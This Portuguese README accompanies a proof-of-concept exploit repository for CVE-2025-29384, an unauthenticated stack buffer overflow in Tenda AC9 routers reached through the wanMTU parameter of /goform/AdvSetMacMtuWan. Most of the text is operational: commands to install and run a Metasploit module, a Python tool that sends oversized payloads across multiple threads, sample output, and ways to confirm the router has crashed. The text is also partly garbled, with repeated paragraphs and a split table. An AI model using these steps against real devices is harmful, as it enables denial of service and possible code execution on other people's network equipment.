
Prova de conceito de exploit para CVE-2025-29384, um estouro de buffer baseado em pilha crítico em roteadores Tenda AC9. Inclui módulos Python e Metasploit para DoS remoto não autenticado e possível RCE em firmware baseado em MIPS.
Este repositório contém um exploit avançado de prova de conceito (PoC) para CVE-2025-29384, uma vulnerabilidade crítica de estouro de buffer baseado em pilha descoberta no roteador Tenda AC9 executando a versão de firmware V15.03.05.14_multi. Essa vulnerabilidade permite que atacantes remotos não autenticados derrubem o servidor web do roteador (Negação de Serviço, DoS) e potencialmente executem código arbitrário (Execução Remota de Código, RCE).
O objetivo deste projeto é demonstrar habilidades de desenvolvimento de exploits, contribuir para a comunidade de segurança cibernética e fornecer uma vitrine educacional para avaliações acadêmicas (por exemplo, bolsas de estudo em segurança cibernética). Este repositório contém um exploit avançado de prova de conceito (PoC) para CVE-2025-29384, uma vulnerabilidade crítica de estouro de buffer baseado em pilha descoberta no roteador Tenda AC9 executando a versão de firmware V15.03.05.14_multi. Essa vulnerabilidade permite que atacantes remotos não autenticados derrubem o servidor web do roteador (Negação de Serviço, DoS) e potencialmente executem código arbitrário (Execução Remota de Código, RCE).
O objetivo deste projeto é demonstrar habilidades de desenvolvimento de exploits, contribuir para a comunidade de segurança cibernética e fornecer uma vitrine educacional para avaliações acadêmicas, como bolsas de estudo em segurança cibernética.
A CVE-2025-29384 afeta a interface de gerenciamento web do roteador Tenda AC9, especificamente o endpoint:
/goform/AdvSetMacMtuWan
A vulnerabilidade existe devido à verificação de limites inadequada no parâmetro wanMTU, que é processado por meio de uma requisição HTTP POST. A entrada é copiada para um buffer de pilha de tamanho fixo sem validação, resultando em um clássico estouro de buffer baseado em pilha.
A função vulnerável (reconstrução hipotética) segue esta estrutura:
void process_mtu(char *input) {
char buffer[256]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process MTU value...
}
Um atacante que envia um payload excessivamente grande (por exemplo, 1024+ bytes) sobrescreve a memória adjacente, incluindo o endereço de retorno da função, potencialmente levando à execução de código.
O Tenda AC9 é um roteador sem fio de banda dupla com as seguintes especificações:
Este repositório também inclui um módulo Metasploit baseado em Ruby para CVE-2025-29384. O módulo se integra perfeitamente ao Metasploit Framework, permitindo que você explore a vulnerabilidade usando o msfconsole.
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
Localize o arquivo do módulo Ruby e copie-o para o diretório de exploits do Metasploit:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
Nota: Se o diretório não existir, crie-o:
mkdir -p ~/.msf4/modules/exploits/linux/http/
Inicie o Metasploit Framework:
msfconsole
Carregue o módulo:
use exploit/linux/http/tenda_ac9_stack_overflow
Defina o endereço IP do alvo:
set RHOSTS <target_ip>
Defina o tamanho do payload (opcional, o padrão é 1024):
set PAYLOAD_SIZE 2048
Execute o exploit:
run
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...
Sucesso: O servidor web do roteador trava, causando uma condição de Negação de Serviço (DoS).
Falha: O roteador permanece operacional, indicando que pode não ser vulnerável ou está executando uma versão de firmware corrigida.
Este PoC é um exploit baseado em Python que envia entrada excessivamente grande para /goform/AdvSetMacMtuWan, acionando um buffer overflow para derrubar o servidor web e demonstrando potencial para RCE.
Multithreading – Lança múltiplas tentativas de exploit concorrentes para maior confiabilidade.
Payloads Dinâmicos – Gera strings de ataque aleatórias codificadas em base64.
Logging – Usa o módulo de logging do Python para depuração estruturada.
Parâmetros Personalizáveis – Ajusta IP do alvo, tamanho do payload e número de threads.
Este PoC é um exploit baseado em Python que envia entrada excessivamente grande para /goform/AdvSetMacMtuWan, acionando um buffer overflow para derrubar o servidor web.
python poc.py --target <router_ip> --size 2048 --threads 10
| Argumento | Descrição |
|---|---|
--target | IP do roteador (padrão: ) |
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.
Sucesso: A interface web do roteador fica sem resposta (condição de DoS).
Falha: O roteador ainda responde (não vulnerável ou firmware incorreto).
Para confirmar que o exploit derruba o roteador com sucesso, tente recarregar a interface web. Se ela ficar sem resposta, o ataque foi bem-sucedido. Para uma análise mais aprofundada, verifique os logs de rede para conexões perdidas ou use ping para confirmar a capacidade de resposta do dispositivo.
Este projeto é apenas para fins educacionais e de hacking ético. O uso não autorizado deste exploit é ilegal. O autor não é responsável pelo uso indevido ou por danos causados por este código.
Desenvolvido com ❤️ por Otsmane Ahmed Este projeto é apenas para fins educacionais e de hacking ético. O uso não autorizado deste exploit é ilegal. O autor não é responsável pelo uso indevido ou por danos causados por este código.
Este projeto é distribuído sob a Licença MIT.
| Métrica | Valor |
|---|
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Impacto da Confidencialidade | Alto |
| Impacto da Integridade | Alto |
| Impacto da Disponibilidade | Alto |
192.168.0.1--size | Tamanho do payload em bytes (padrão: 1024) |
--threads | Número de threads simultâneas (padrão: 5) |